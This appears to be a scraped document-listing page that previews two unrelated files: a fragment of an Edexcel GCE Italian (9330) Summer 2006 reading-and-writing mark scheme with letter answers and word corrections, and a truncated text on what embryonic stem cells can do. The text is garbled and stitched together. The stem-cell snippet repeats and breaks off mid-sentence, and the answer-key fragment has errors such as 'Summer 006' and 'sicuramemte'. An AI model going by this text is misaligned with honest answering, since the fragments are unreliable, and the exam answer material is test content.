GCE. Edexcel GCE Italian(9330) Summer 2006. Mark Scheme (Results) GCE Edexcel GCE Italian(9330) Summer 006 Mark Scheme (Results) Unit Reading and Writing Question Answer Testo.. B B C - A 4 Testo. a. passione che passione b. attrae c. sicuramemte d. favorito ha favorito

Dettagli

Le cellule staminali dell embrione: cosa possono fare Embryonic stem cells are exciting because they can make all the different types of cell in the

Le cellule staminali dell embrione: cosa possono fare Embryonic stem cells are exciting because they can make all the different types of cell in the 1 2 3 Le cellule staminali dell embrione: cosa possono fare Embryonic stem cells are exciting because they can make all the different types of cell in the body scientists say these cells are pluripotent.

Dettagli